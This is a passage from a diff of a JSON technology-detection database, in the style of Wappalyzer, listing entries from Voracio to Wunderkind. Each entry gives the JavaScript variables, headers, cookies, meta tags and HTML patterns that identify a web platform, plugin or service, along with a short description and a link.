- ], - "description": "Voracio is a cloud SaaS ecommerce platform powered by Microsoft .NET and built on the Microsoft Azure cloud framework.", - "website": "https://www.voracio.co.uk" - }, - "Vtiger": { - "js": [ - "vtiger", - "vtiger_base_js", - "vtiger_helper_js" - ], - "description": "Vtiger is a cloud-based suite of marketing, sales and help desk offerings, which can be deployed separately or as an integrated, all-in-one ecosystem.", - "website": "https://www.vtiger.com" - }, - "VuFind": { - "js": [ - "vufind.defaultsearchbackend" - ], - "meta": { - "generator": [ - "^vufind\\s([\\d\\.]+)$\\;version:\\1" - ] - }, - "description": "VuFind is a library resource portal designed and developed by Villanova University library.", - "website": "https://vufind.org" - }, - "Vue Storefront": { - "meta": { - "generator": [ - "^vue storefront ([0-9.]+)?$\\;version:\\1" - ] - }, - "implies": [ - "Vue.js" - ], - "description": "Vue Storefront is a frontend platform for headless ecommerce.", - "website": "https://www.vuestorefront.io/" - }, - "Vue.ai": { - "js": [ - "getvueurlsegments", - "vuex" - ], - "description": "Vue.ai is an AI-powered experience management suite which combines the power of product, customer and business intelligence using computer vision and NLP.", - "website": "https://vue.ai" - }, - "Vue.js": { - "js": [ - "vuedll", - "vue", - "vue.version", - "vueroot", - "__vue_hot_map__", - "__vue__" - ], - "html": [ - "\u003c[^\u003e]+\\sdata-v(?:ue)?-" - ], - "css": [ - "\\.vue-notification-group" - ], - "description": "Vue.js is an open-source model–view–viewmodel JavaScript framework for building user interfaces and single-page applications.", - "website": "https://vuejs.org" - }, - "Vue2-animate": { - "implies": [ - "Vue.js", - "Sass", - "Animate.css" - ], - "description": "Vue2-animate is a Vue.js port of Animate.css.", - "website": "https://github.com/asika32764/vue2-animate" - }, - "VuePress": { - "js": [ - "__vuepress__.version" - ], - "meta": { - "generator": [ - "^vuepress(?: ([0-9.]+)(-[a-z]+.[0-9]+)?)?$\\;version:\\1" - ] - }, - "implies": [ - "Vue.js" - ], - "description": "VuePress is a static site generator with a Vue-powered theming system, and a default theme for writing technical documentation.", - "website": "https://vuepress.vuejs.org/" - }, - "Vuetify": { - "css": [ - "\\.v-application \\.d-block" - ], - "implies": [ - "Vue.js" - ], - "description": "Vuetify is a reusable semantic component framework for Vue.js that aims to provide clean, semantic and reusable components.", - "website": "https://vuetifyjs.com" - }, - "Vultr": { - "description": "Vultr is a cloud computing service provider.", - "website": "https://www.vultr.com" - }, - "Vuukle": { - "js": [ - "vuukle_config" - ], - "description": "Vuukle is an audience engagement and commenting platform.", - "website": "https://vuukle.com" - }, - "W3 Total Cache": { - "headers": { - "x-powered-by": "w3 total cache(?:/([\\d.]+))?\\;version:\\1" - }, - "html": [ - "\u003c!--[^\u003e]+w3 total cache" - ], - "description": "W3 Total Cache (W3TC) improves the SEO and increases website performance and reducing load times by leveraging features like content delivery network (CDN) integration and the latest best practices.", - "website": "http://www.w3-edge.com/wordpress-plugins/w3-total-cache" - }, - "W3.CSS": { - "description": "W3.CSS is a CSS framework developed by the World Wide Web Consortium (W3C), the main international standards organisation for the World Wide Web.", - "website": "https://www.w3schools.com/w3css/" - }, - "W3Counter": { - "website": "http://www.w3counter.com" - }, - "WEBDEV": { - "headers": { - "webdevsrc": "" - }, - "html": [ - "\u003c!-- [a-za-z0-9_]+ [\\d/]+ [\\d:]+ webdev \\d\\d ([\\d.]+) --\u003e\\;version:\\1" - ], - "meta": { - "generator": [ - "^webdev$" - ] - }, - "description": "WEBDEV is a tool to develop internet and intranet sites and applications that support data and processes", - "website": "https://www.windev.com/webdev/index.html" - }, - "WEBXPAY": { - "js": [ - "webxpay" - ], - "description": "WEBXPAY is a specialised online payment gateway that expedites buying and selling in a highly secured environment.", - "website": "https://webxpay.com" - }, - "WEN Themes Education Hub": { - "js": [ - "educationhubscreenreadertext" - ], - "description": "WEN Themes Education Hub is a clean and elegant WordPress education theme.", - "website": "https://wenthemes.com/item/wordpress-themes/education-hub" - }, - "WEN Themes Signify Dark": { - "js": [ - "signifyoptions" - ], - "description": "Signify Dark is a free dark blog and corporate WordPress theme that is trendy, responsive, and dynamic by WEN Themes.", - "website": "https://wenthemes.com/item/wordpress-themes/signify-dark" - }, - "WHMCS": { - "js": [ - "whmcs" - ], - "description": "WHMCS is an automation platform that simplifies and automates all aspects of operating an online web hosting and domain registrar business.", - "website": "http://www.whmcs.com" - }, - "WP Automatic": { - "description": "WP Automatic is a WordPress plugin that automates the process of creating posts on your WordPress site by automatically fetching content from various sources like RSS feeds, Amazon, eBay, ClickBank, and more.", - "website": "https://wpautomatic.com" - }, - "WP Engine": { - "headers": { - "wpe-backend": "", - "x-pass-why": "", - "x-powered-by": "wp engine", - "x-wpe-loopback-upstream-addr": "" - }, - "implies": [ - "WordPress" - ], - "description": "WP Engine is a website hosting provider.", - "website": "https://wpengine.com" - }, - "WP Fastest Cache": { - "js": [ - "wpfcll" - ], - "description": "WP Fastest Cache is one of a number of plugins for WordPress designed to accelerate the performance of your website.", - "website": "https://www.wpfastestcache.com" - }, - "WP Featherlight": { - "description": "WP Featherlight is a WordPress lightbox plugin for adding a minimal, high-performance, responsive jQuery lightbox to your WordPress website.", - "website": "https://wordpress.org/plugins/wp-featherlight" - }, - "WP Google Map Plugin": { - "js": [ - "wpgmp_local" - ], - "description": "WP Google Map Plugin allows you to create google maps shortcodes to display responsive google maps on pages, widgets and custom templates.", - "website": "https://www.wpmapspro.com" - }, - "WP Job Openings": { - "js": [ - "awsmjobs" - ], - "description": "WP Job Openings is a job listing and recruitment plugin for WordPress websites.", - "website": "https://wpjobopenings.com" - }, - "WP Live Visitor Counter": { - "description": "WP Live Visitor Counter is a WordPress plugin that displays the number of online visitors on a website in real-time.", - "website": "https://wordpress.org/plugins/wp-visitors-widget/" - }, - "WP Maintenance Mode": { - "js": [ - "wpmm_vars" - ], - "description": "WP Maintenance Mode is a WordPress plugin which add a maintenance page to your blog.", - "website": "https://github.com/andrianvaleanu/WP-Maintenance-Mode" - }, - "WP Puzzle Basic": { - "description": "WP Puzzle Basic is fully responsive, clean and minimal WordPress theme.", - "website": "https://wp-puzzle.com/basic" - }, - "WP Rocket": { - "js": [ - "rocket_lazy", - "rocketlazyloadscripts", - "rocketpreloadlinksconfig" - ], - "headers": { - "x-powered-by": "wp rocket(?:/([\\d.]+))?\\;version:\\1", - "x-rocket-nginx-bypass": "" - }, - "html": [ - "\u003c!--[^\u003e]+wp rocket" - ], - "description": "WP Rocket is a caching and performance optimisation plugin to improve the loading speed of WordPress websites.", - "website": "https://wp-rocket.me" - }, - "WP-Optimize": { - "html": [ - "\u003c!--[^\u003e]+cached by wp-optimize" - ], - "description": "WP-Optimize is an all-in-one WordPress plugin that cleans your database, compresses your large images and caches your site.", - "website": "https://getwpo.com" - }, - "WP-PageNavi": { - "description": "WP-PageNavi is a WordPress plugin which adds a more advanced paging navigation interface to your WordPress blog.", - "website": "https://github.com/lesterchan/wp-pagenavi" - }, - "WP-Royal Ashe": { - "js": [ - "ashepreloader", - "ashestickysidebar" - ], - "description": "WP-Royal Ashe is a personal and multi-author WordPress blog theme.", - "website": "https://wp-royal.com/themes/item-ashe-free" - }, - "WP-Royal Bard": { - "description": "WP-Royal Bard is a personal and multi-author WordPress blog theme.", - "website": "https://wp-royal.com/themes/item-bard-free" - }, - "WP-Statistics": { - "js": [ - "wp_statistics_http", - "wps_statistics_object" - ], - "html": [ - "\u003c!-- analytics by wp-statistics v([\\d\\.]+)\\;version:\\1" - ], - "description": "WP-Statistics is a WordPress plugin which allows you to know your website statistics.", - "website": "https://wp-statistics.com" - }, - "WPCacheOn": { - "headers": { - "x-powered-by": "^optimized by wpcacheon" - }, - "description": "WPCacheOn is a caching and performance optimisation plugin, which improves the loading speed of WordPress websites.", - "website": "https://wpcacheon.io" - }, - "WPForms": { - "js": [ - "wpforms_settings", - "wpforms" - ], - "description": "WPForms is a drag and drop WordPress form builder.", - "website": "https://wpforms.com" - }, - "WPML": { - "cookies": { - "wp-wpml_current_language": "" - }, - "meta": { - "generator": [ - "^wpml\\sver\\:([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "WPML plugin makes it possible to build and run fully multilingual WordPress sites.", - "website": "https://wpml.org/" - }, - "WPMU DEV Smush": { - "description": "WPMU DEV Smush is a WordPress plugin that allows you to optimise images without losing quality.", - "website": "https://wpmudev.com/project/wp-smush-pro" - }, - "WPS Visitor Counter": { - "js": [ - "wpspagevisit" - ], - "description": "WPS Visitor Counter is a plugin for WordPress that counts the number of visitors to a website.", - "website": "https://wordpress.org/plugins/wps-visitor-counter/" - }, - "Wagtail": { - "implies": [ - "Django", - "Python" - ], - "description": "Wagtail is a Django content management system (CMS) focused on flexibility and user experience.", - "website": "https://wagtail.org" - }, - "Wair": { - "js": [ - "predictv3.default.version", - "predictwidget" - ], - "description": "Wair is the widget to personalised fit.", - "website": "https://getwair.com" - }, - "Waitlist": { - "js": [ - "gw_backend_url", - "gw_waitlist_name" - ], - "description": "Waitlist is a web-based tool that helps businesses to create a waitlist for their product or service.", - "website": "https://www.getwaitlist.com" - }, - "Wakav Performance Monitoring": { - "description": "Wakav Performance Monitoring is a real user monitoring (RUM), Web/App performance and availability test platform.", - "website": "https://www.wakav.ir" - }, - "WalkMe": { - "js": [ - "walkmeapi", - "_walkmeconfig" - ], - "description": "WalkMe is a cloud-based interactive guidance and engagement platform.", - "website": "https://www.walkme.com" - }, - "Wangsu": { - "js": [ - "__cdnroute", - "playurl.wangsu" - ], - "description": "Wangsu is a China-based company that provides content delivery network and internet data center services.", - "website": "https://en.wangsu.com" - }, - "Warp": { - "headers": { - "server": "^warp/(\\d+(?:\\.\\d+)+)?$\\;version:\\1" - }, - "implies": [ - "Haskell" - ], - "website": "http://www.stackage.org/package/warp" - }, - "Waveform": { - "js": [ - "waveform" - ], - "description": "Waveform is a media player that supports various media formats, including audio, video, Youtube, and Vimeo, and includes a waveform visualisation feature, utilising Web Audio API and HTML5 Canvas technologies.", - "website": "http://music.flatfull.com/waveme/about/" - }, - "Waveme": { - "implies": [ - "Gutenberg", - "Waveform" - ], - "description": "Waveme is a WordPress theme that is suitable for individuals or businesses involved in the music industry, such as music producers, record labels, artist managers, or independent artists.", - "website": "http://music.flatfull.com/waveme/about/" - }, - "Wazimo": { - "js": [ - "wz.mmconfig.buildversion" - ], - "description": "Wazimo is a digital media company focused on combining engaging content with advanced real-time tendering (RTB) capabilities.", - "website": "https://wazimo.com" - }, - "Weaver Xtreme": { - "js": [ - "weaverxbottomfooter", - "weaverxmonitorcontent", - "weaverxonresize" - ], - "description": "Weaver Xtreme is the orginal options-based WordPress theme.", - "website": "https://weavertheme.com" - }, - "Web Shop Manager": { - "js": [ - "wsm.tracking", - "wsm_chart_colors_opaque", - "wsmhidehelpbox", - "wsm_catalogtabby" - ], - "description": "Web Shop Manager is an ecommerce and search platform for the automotive industry and markets with complex product catalogs.", - "website": "https://webshopmanager.com" - }, - "Web Stories": { - "implies": [ - "AMP" - ], - "description": "Web Stories is a format for visual storytelling for the open web.", - "website": "https://amp.dev/about/stories/" - }, - "Web Stories for WordPress": { - "meta": { - "amp-story-generator-name": [ - "^web stories for wordpress$" - ], - "amp-story-generator-version": [ - "^(.+)$\\;version:\\1" - ] - }, - "implies": [ - "Web Stories" - ], - "description": "Web Stories for WordPress is a visual editor for creating Web Stories.", - "website": "https://wp.stories.google" - }, - "Web2py": { - "headers": { - "x-powered-by": "web2py" - }, - "meta": { - "generator": [ - "^web2py" - ] - }, - "implies": [ - "Python", - "jQuery" - ], - "website": "http://web2py.com" - }, - "WebAssembly": { - "headers": { - "content-type": "application/wasm" - }, - "description": "WebAssembly (abbreviated Wasm) is a binary instruction format for a stack-based virtual machine. Wasm is designed as a portable compilation target for programming languages, enabling deployment on the web for client and server applications.", - "website": "https://webassembly.org/" - }, - "WebEngage": { - "js": [ - "webengage.__v" - ], - "description": "WebEngage is a customer data platform and marketing automation suite.", - "website": "https://webengage.com" - }, - "WebFactory Maintenance": { - "js": [ - "mtnc_front_options" - ], - "description": "WebFactory Maintenance is a WordPress plugin which allows you to create an maintenance page.", - "website": "https://wordpress.org/plugins/maintenance" - }, - "WebFactory Under Construction": { - "description": "WebFactory Under Construction is a WordPress plugin which allows you to create an under construction page.", - "website": "https://wordpress.org/plugins/under-construction-page" - }, - "WebGUI": { - "cookies": { - "wgsession": "" - }, - "meta": { - "generator": [ - "^webgui ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "Perl" - ], - "website": "http://www.webgui.org" - }, - "WebHostUK": { - "description": "WebHostUK is a UK based web hosting company offering cheap yet reliable and secure web hosting solutions on both Linux and Windows servers.", - "website": "https://www.webhostuk.co.uk" - }, - "WebMetric": { - "cookies": { - "_wmuid": "" - }, - "js": [ - "_wmid" - ], - "website": "https://webmetric.ir/" - }, - "WebNode": { - "cookies": { - "_gat_wnd_header": "" - }, - "js": [ - "wnd.$system" - ], - "meta": { - "generator": [ - "^webnode(?:\\s([\\d.]+))?$\\;version:\\1" - ] - }, - "description": "Webnode is a drag-and-drop online website builder.", - "website": "https://www.webnode.com" - }, - "WebRTC": { - "description": "WebRTC is an open-source project that enables real-time voice, text and video communications capabilities between web browsers and devices.", - "website": "https://webrtc.org" - }, - "WebSite X5": { - "meta": { - "generator": [ - "incomedia website x5 (\\w+ [\\d.]+)\\;version:\\1" - ] - }, - "description": "WebSite X5 is a tools to create and publish websites.", - "website": "http://websitex5.com" - }, - "WebToffee Stripe Payment Plugin for WooCommerce": { - "implies": [ - "Stripe", - "WooCommerce" - ], - "description": "WebToffee Stripe Payment Plugin for WooCommerce is a software add-on that allows online retailers using the WooCommerce ecommerce platform to accept payments through the Stripe payment gateway.", - "website": "https://www.webtoffee.com/product/woocommerce-stripe-payment-gateway/" - }, - "WebZi": { - "js": [ - "webzicart", - "webzivalidate" - ], - "meta": { - "generator": [ - "^webzi\\.ir\\swebsite\\sbuilder$" - ] - }, - "description": "WebZi is a professional website builder.", - "website": "https://webzi.ir" - }, - "Webasyst Shop-Script": { - "js": [ - "shopordercallconfigstaticurl", - "shop_cityselect.lib" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "Webasyst Shop-Script is a feature-rich PHP ecommerce framework and shopping cart solution.", - "website": "https://www.shop-script.com" - }, - "Webflow": { - "js": [ - "webflow" - ], - "meta": { - "generator": [ - "webflow" - ] - }, - "description": "Webflow is Software-as-a-Service (SaaS) for website building and hosting.", - "website": "https://webflow.com" - }, - "Webflow Ecommerce": { - "js": [ - "__webflow_currency_settings" - ], - "description": "Webflow is a zero-code visual website builder, with Webflow Ecommerce, you can build and design online stores.", - "website": "https://webflow.com/ecommerce" - }, - "Webgains": { - "js": [ - "itclkq" - ], - "description": "Webgains is an affiliate marketing network.", - "website": "https://www.webgains.com/" - }, - "Webix": { - "js": [ - "webix" - ], - "website": "http://webix.com" - }, - "Weblication": { - "meta": { - "generator": [ - "^weblication® cms$" - ] - }, - "implies": [ - "PHP", - "XSLT" - ], - "description": "Weblication is an enterprise-class website content management system developed by Scholl Communications AG in Germany.", - "website": "https://weblication.de" - }, - "Weblium": { - "implies": [ - "Node.js", - "OpenResty", - "React" - ], - "description": "Weblium let's you create a web site or online store without the need for a web developer or designer.", - "website": "https://weblium.com" - }, - "Weblogic Server": { - "headers": { - "server": "^weblogic\\sserver\\s([\\d\\.]+)?\\;version:\\1" - }, - "implies": [ - "JavaServer Pages" - ], - "description": "WebLogic Server is an Application Server that runs on a middle tier, between back-end databases and related applications and browser-based thin clients.", - "website": "https://www.oracle.com/java/weblogic" - }, - "Webmin": { - "implies": [ - "Perl" - ], - "description": "Webmin is a free, open-source application for Linux server administration.", - "website": "https://www.webmin.com" - }, - "Webolytics": { - "js": [ - "webolytics_site_tag", - "webolytics_webhook_call" - ], - "description": "Webolytics is an open API platform designed to track return on advertising spend.", - "website": "https://www.webolytics.com" - }, - "Webpack": { - "js": [ - "webpackchunk", - "webpackjsonp" - ], - "description": "Webpack is an open-source JavaScript module bundler.", - "website": "https://webpack.js.org/" - }, - "Webpushr": { - "js": [ - "webpushr.notificationcard", - "webpushr_display_button" - ], - "description": "Webpushr is a web push notification platform that supports mobile and desktop devices.", - "website": "https://www.webpushr.com" - }, - "Webriti Busiprof": { - "description": "Busiprof is a fully responsive and translation-ready WordPress theme by Webriti.", - "website": "https://webriti.com/busiprof-premium-wordpress-theme-1" - }, - "WebsPlanet": { - "meta": { - "generator": [ - "websplanet" - ] - }, - "website": "http://websplanet.com" - }, - "Websale": { - "cookies": { - "websale_ac": "" - }, - "website": "http://websale.de" - }, - "Website Creator": { - "meta": { - "generator": [ - "website creator by hosttech" - ], - "wsc_rendermode": [] - }, - "implies": [ - "PHP", - "MySQL", - "Vue.js" - ], - "website": "https://www.hosttech.ch/websitecreator" - }, - "WebsiteBaker": { - "meta": { - "generator": [ - "websitebaker" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "website": "http://websitebaker2.org/en/home.php" - }, - "WebsiteBuilder": { - "js": [ - "_site.urls.dataproxy" - ], - "description": "WebsiteBuilder is a page-builder for creating web pages without knowledge of programming languages.", - "website": "https://www.websitebuilder.com" - }, - "Websocket": { - "html": [ - "\u003clink[^\u003e]+rel=[\"']web-socket[\"']", - "\u003c(?:link|a)[^\u003e]+href=[\"']wss?://" - ], - "website": "https://en.wikipedia.org/wiki/WebSocket" - }, - "Webtrends": { - "js": [ - "wtoptimize", - "webtrends" - ], - "html": [ - "\u003cimg[^\u003e]+id=\"dcsimg\"[^\u003e]+webtrends" - ], - "website": "http://worldwide.webtrends.com" - }, - "Webx": { - "description": "Webx is a hosted ecommerce solution from Pakistan.", - "website": "https://www.webx.pk" - }, - "Webzie": { - "meta": { - "generator": [ - "^webzie\\.com\\swebsite\\sbuilder$" - ] - }, - "description": "Webzie is a website builder optimised for performance.", - "website": "https://www.webzie.com/" - }, - "Weebly": { - "js": [ - "_w.configdomain" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "Weebly is a website and ecommerce service.", - "website": "https://www.weebly.com" - }, - "Weglot": { - "headers": { - "weglot-translated": "" - }, - "website": "https://www.weglot.com" - }, - "Welcart": { - "cookies": { - "usces_cookie": "" - }, - "html": [ - "\u003clink[^\u003e]+?href=\"[^\"]+usces_default(?:\\.min)?\\.css", - "\u003c!-- welcart version : v([\\d.]+)\\;version:\\1" - ], - "description": "Welcart is a free ecommerce plugin for WordPress with top market share in Japan.", - "website": "https://www.welcart.com" - }, - "WeltPixel Pearl Theme": { - "js": [ - "pearl" - ], - "implies": [ - "Magento\\;version:2" - ], - "description": "Pearl Theme for Magento 2 by WeltPixel. Pearl Theme is following the Magento architecture, layouts and best practice in order to assure highest compatibility with 3rd party extensions.", - "website": "https://www.weltpixel.com/magento-2-theme-pearl" - }, - "Whatfix": { - "js": [ - "_wfx_add_logger", - "_wfx_settings", - "wfx_is_playing__" - ], - "description": "Whatfix is a SaaS based platform which provides in-app guidance and performance support for web applications and software products.", - "website": "https://whatfix.com" - }, - "WhatsApp Business Chat": { - "description": "WhatsApp Business is a free to download app available on Android and iPhone using which businesses can connect with their customers.", - "website": "https://www.whatsapp.com/business" - }, - "Wheelio": { - "description": "Wheelio is gamified pop-up/widget for ecommerce sites.", - "website": "https://wheelio-app.com/" - }, - "Whistl": { - "description": "Whistl is a postal delivery company operating in the United Kingdom.", - "website": "https://www.whistl.co.uk" - }, - "Whooshkaa": { - "html": [ - "\u003ciframe src=\"[^\u003e]+whooshkaa\\.com" - ], - "website": "https://www.whooshkaa.com" - }, - "WideBundle": { - "implies": [ - "Shopify" - ], - "description": "WideBundle is a Shopify application that allows a merchant to set up bundles on his store.", - "website": "https://en.widebundle.com" - }, - "Widen": { - "js": [ - "widenui", - "widensessiontimer" - ], - "description": "Widen is a digital asset management and product information management solutions provider.", - "website": "https://www.widen.com" - }, - "WidgetWhats": { - "js": [ - "wwwa_loaded" - ], - "description": "WidgetWhats is a fully customizable chat widget with appearance, text, color, button style and position.", - "website": "https://widgetwhats.com" - }, - "Wigzo": { - "js": [ - "wigzo" - ], - "description": "Wigzo is e-commerce marketing automation platform that helps businesses of every size dig deeper into data to find opportunities to increase their sales and revenue.", - "website": "https://www.wigzo.com/" - }, - "Wiki.js": { - "js": [ - "wiki.$_apolloinitdata", - "wiki.$apolloprovider" - ], - "implies": [ - "Node.js" - ], - "description": "Wiki.js is a wiki engine running on Node.js and written in JavaScript.", - "website": "https://js.wiki" - }, - "Wikinggruppen": { - "html": [ - "\u003c!-- wikinggruppen" - ], - "website": "https://wikinggruppen.se/" - }, - "WikkaWiki": { - "html": [ - "powered by \u003ca href=\"[^\u003e]+wikkawiki" - ], - "meta": { - "generator": [ - "wikkawiki" - ] - }, - "description": "WikkaWiki is an open-source wiki application written in PHP.", - "website": "http://wikkawiki.org" - }, - "WildJar": { - "description": "WildJar is a call tracking and intelligence platform which helps you understand where your leads are coming from, who is calling you, what your conversations are about and connect that data into other platforms.", - "website": "https://www.wildjar.com" - }, - "Windows CE": { - "headers": { - "server": "\\bwince\\b" - }, - "description": "Windows CE is an operating system designed for small footprint devices or embedded systems.", - "website": "http://microsoft.com" - }, - "Windows Server": { - "headers": { - "server": "win32|win64" - }, - "description": "Windows Server is a brand name for a group of server operating systems.", - "website": "http://microsoft.com/windowsserver" - }, - "WineDirect": { - "js": [ - "vin65.checkout", - "vin65remote" - ], - "meta": { - "generator": [ - "^winedirect\\secommerce" - ] - }, - "description": "WineDirect is an all-in-one ecommerce and POS (Point of Sale) platform that is specifically designed for wineries and wine retailers.", - "website": "https://www.winedirect.com" - }, - "Wink": { - "js": [ - "wink.version" - ], - "description": "Wink Toolkit is a JavaScript toolkit used to build mobile web apps.", - "website": "http://winktoolkit.org" - }, - "Winstone Servlet Container": { - "headers": { - "server": "winstone servlet (?:container|engine) v?([\\d.]+)?\\;version:\\1", - "x-powered-by": "winstone(?:\\/([\\d.]+))?\\;version:\\1" - }, - "website": "http://winstone.sourceforge.net" - }, - "Wirecard": { - "js": [ - "wirecardpaymentpage", - "wirecardhpp" - ], - "description": "Wirecard is a defunct German payment processor and financial services provider.", - "website": "https://www.wirecard.com" - }, - "Wisepops": { - "js": [ - "wisepopsobject", - "wisepops._api" - ], - "description": "Wisepops is an intelligent popup and marketing automation system that offers marketers a single platform from which to create and manage website popups.", - "website": "https://wisepops.com" - }, - "Wishlist King": { - "js": [ - "appmate.version", - "appmate.wk" - ], - "description": "Wishlist King is a Shopify app which helps you to add your favorite products or share the wishlist with your friends built by Appmate.", - "website": "https://appmate.io" - }, - "Wistia": { - "js": [ - "wistiautils", - "wistia", - "wistiaembeds" - ], - "description": "Wistia is designed exclusively to serve companies using video on their websites for marketing, support, and sales.", - "website": "https://wistia.com" - }, - "With Reach": { - "description": "With Reach is a fintech/payments service provider that helps retailers connect with customers around the world.", - "website": "https://www.withreach.com" - }, - "Wix": { - "cookies": { - "domain": "\\.wix\\.com" - }, - "js": [ - "wixbisession", - "wixperformancemeasurements" - ], - "headers": { - "x-wix-renderer-server": "", - "x-wix-request-id": "", - "x-wix-server-artifact-id": "" - }, - "meta": { - "generator": [ - "wix\\.com website builder" - ] - }, - "implies": [ - "React" - ], - "description": "Wix provides cloud-based web development services, allowing users to create HTML5 websites and mobile sites.", - "website": "https://www.wix.com" - }, - "Wix Answers": { - "description": "Wix Answers is a cloud-based help desk software.", - "website": "https://www.wixanswers.com" - }, - "Wix eCommerce": { - "implies": [ - "Wix" - ], - "website": "https://www.wix.com/freesitebuilder/tae-store" - }, - "WiziShop": { - "js": [ - "wiziblock_array", - "wiziblocks_list", - "wscfg.bnavajust" - ], - "headers": { - "server": "^wiziserver$" - }, - "description": "WiziShop is an ecommerce solution provider.", - "website": "https://wizishop.com" - }, - "Wizpay": { - "description": "Wizpay is a buy now pay later solution.", - "website": "https://www.wizpay.com.au" - }, - "Wolf CMS": { - "html": [ - "(?:\u003ca href=\"[^\u003e]+wolfcms\\.org[^\u003e]+\u003ewolf cms(?:\u003c/a\u003e)? inside|thank you for using \u003ca[^\u003e]+\u003ewolf cms)" - ], - "implies": [ - "PHP" - ], - "website": "http://www.wolfcms.org" - }, - "Woltlab Community Framework": { - "implies": [ - "PHP" - ], - "website": "http://www.woltlab.com" - }, - "WooCommerce": { - "js": [ - "woocommerce_params" - ], - "meta": { - "generator": [ - "woocommerce ([\\d.]+)\\;version:\\1" - ] - }, - "description": "WooCommerce is an open-source ecommerce plugin for WordPress.", - "website": "https://woocommerce.com" - }, - "WooCommerce Blocks": { - "description": "WooCommerce Blocks offers a range of Gutenberg blocks you can use to build and customise your site.", - "website": "https://github.com/woocommerce/woocommerce-gutenberg-products-block" - }, - "WooCommerce Multilingual": { - "description": "WooCommerce Multilingual plugin makes it possible to run fully multilingual ecommerce sites using WooCommerce and WPML.", - "website": "https://wordpress.org/plugins/woocommerce-multilingual" - }, - "WooCommerce PayPal Checkout Payment Gateway": { - "implies": [ - "PayPal" - ], - "description": "WooCommerce PayPal Checkout Payment Gateway is a WordPress plugin which allows you to securely sell your products and subscriptions online using in-context checkout.", - "website": "https://github.com/woocommerce/woocommerce-gateway-paypal-express-checkout" - }, - "WooCommerce PayPal Payments": { - "implies": [ - "PayPal" - ], - "description": "WooCommerce PayPal Payments is a latest WordPress plugin with most complete payment processing solution. Accept PayPal exclusives, credit/debit cards and local payment methods.", - "website": "https://github.com/woocommerce/woocommerce-paypal-payments" - }, - "WooCommerce Stripe Payment Gateway": { - "implies": [ - "Stripe" - ], - "description": "WooCommerce Stripe Payment Gateway plugin extends WooCommerce allowing you to take payments directly on your store via Stripe’s API.", - "website": "https://woocommerce.com/products/stripe" - }, - "Woopra": { - "website": "http://www.woopra.com" - }, - "Woostify": { - "js": [ - "woostifyconditionscrolling", - "woostify_woocommerce_general" - ], - "implies": [ - "WooCommerce" - ], - "description": "Woostify is fast, lightweight, responsive and flexible WooCommerce theme built with SEO, speed, and usability in mind.", - "website": "https://woostify.com" - }, - "WoowUp": { - "js": [ - "wu._trackproductvtexfield" - ], - "description": "WoowUp is a tool of CRM and predictive marketing.", - "website": "https://www.woowup.com" - }, - "WordAds": { - "description": "WordAds is an advertising platform run by Automatic that allows bloggers and website owners to place advertisements on their blogs and websites.", - "website": "https://wordads.co" - }, - "WordPress": { - "js": [ - "wp_username" - ], - "headers": { - "link": "rel=\"https://api\\.w\\.org/\"", - "x-pingback": "/xmlrpc\\.php$" - }, - "html": [ - "\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+/wp-(?:content|includes)/", - "\u003clink[^\u003e]+s\\d+\\.wp\\.com" - ], - "meta": { - "generator": [ - "^wordpress(?: ([\\d.]+))?\\;version:\\1" - ], - "shareaholic:wp_version": [] - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "WordPress is a free and open-source content management system written in PHP and paired with a MySQL or MariaDB database. Features include a plugin architecture and a template system.", - "website": "https://wordpress.org" - }, - "WordPress Default": { - "description": "WordPress Default is a default WordPress theme.", - "website": "https://wordpress.org/themes/default" - }, - "WordPress Super Cache": { - "headers": { - "wp-super-cache": "" - }, - "html": [ - "\u003c!--[^\u003e]+wp-super-cache" - ], - "description": "WordPress Super Cache is a static caching plugin for WordPress.", - "website": "http://z9.io/wp-super-cache/" - }, - "WordPress VIP": { - "headers": { - "x-powered-by": "^wordpress vip|wpvip\\.com" - }, - "implies": [ - "WordPress" - ], - "description": "WordPress VIP is a managed hosting platform for WordPress.", - "website": "https://wpvip.com" - }, - "WordPress.com": { - "headers": { - "host-header": "wordpress\\.com" - }, - "implies": [ - "WordPress" - ], - "description": "WordPress.com is a platform for self-publishing that is popular for blogging and other works.", - "website": "https://wordpress.com" - }, - "Wordfence": { - "js": [ - "wordfenceajaxwatcher" - ], - "description": "Wordfence is a security plugin for sites that use WordPress. Wordfence includes an endpoint firewall and malware scanner.", - "website": "https://www.wordfence.com" - }, - "Wordfence Login Security": { - "description": "Wordfence Login Security contains a subset of the functionality found in the full Wordfence plugin: Two-factor Authentication, XML-RPC Protection and Login Page CAPTCHA.", - "website": "https://www.wordfence.com" - }, - "Workable": { - "js": [ - "webpackchunk_workable_candidate" - ], - "description": "Workable is the all-in-one hiring solution.", - "website": "https://www.workable.com" - }, - "Workarea": { - "js": [ - "weblinc.cartcount", - "workarea" - ], - "implies": [ - "Ruby on Rails", - "MongoDB", - "Elasticsearch" - ], - "description": "Workarea is a SaaS ecommerce platform for medium to large businesses.", - "website": "https://www.workarea.com" - }, - "World4You": { - "description": "World4You operates homepage and domain solutions. World4Youu operates data centers in Austria and provides data protection.", - "website": "https://www.world4you.com" - }, - "WorldPay": { - "description": "WorldPay is a merchant services and payment processing provider offering a payment gateway for online transactions.", - "website": "https://online.worldpay.com" - }, - "WorldShopping": { - "description": "WorldShopping makes online purchases in Japan easier for international visitors.", - "website": "https://www.worldshopping.global/" - }, - "Worldz": { - "description": "Worldz calculates the economic value of a user’s social popularity (qualitatively and quantitatively). In proportion to this value, it provides a personalised discount, which can be applied in exchange for a social sharing by the user on their Instagram or Facebook profile.", - "website": "https://www.worldz-business.net" - }, - "Wowza Video Player": { - "js": [ - "wowzaplayer", - "wowzaplayer.jsplayer" - ], - "description": "Wowza Video Player is a robust, industry standard player that provides HTML5, HLS, MPEG-DASH, and LL-DASH playback.", - "website": "https://www.wowza.com/video/player" - }, - "Wufoo": { - "description": "Wufoo is an online form builder that creates forms including contact forms, online payments, online surveys and event registrations.", - "website": "https://www.wufoo.com" - }, - "Wuilt": { - "implies": [ - "React", - "Node.js" - ], - "description": "Wuilt is the first Arab platform of its kind to help individuals and businesses create ready-made websites and ecommerce stores.", - "website": "https://wuilt.com" - }, - "Wunderkind": { - "js": [ - "bouncex" - ], - "headers": { 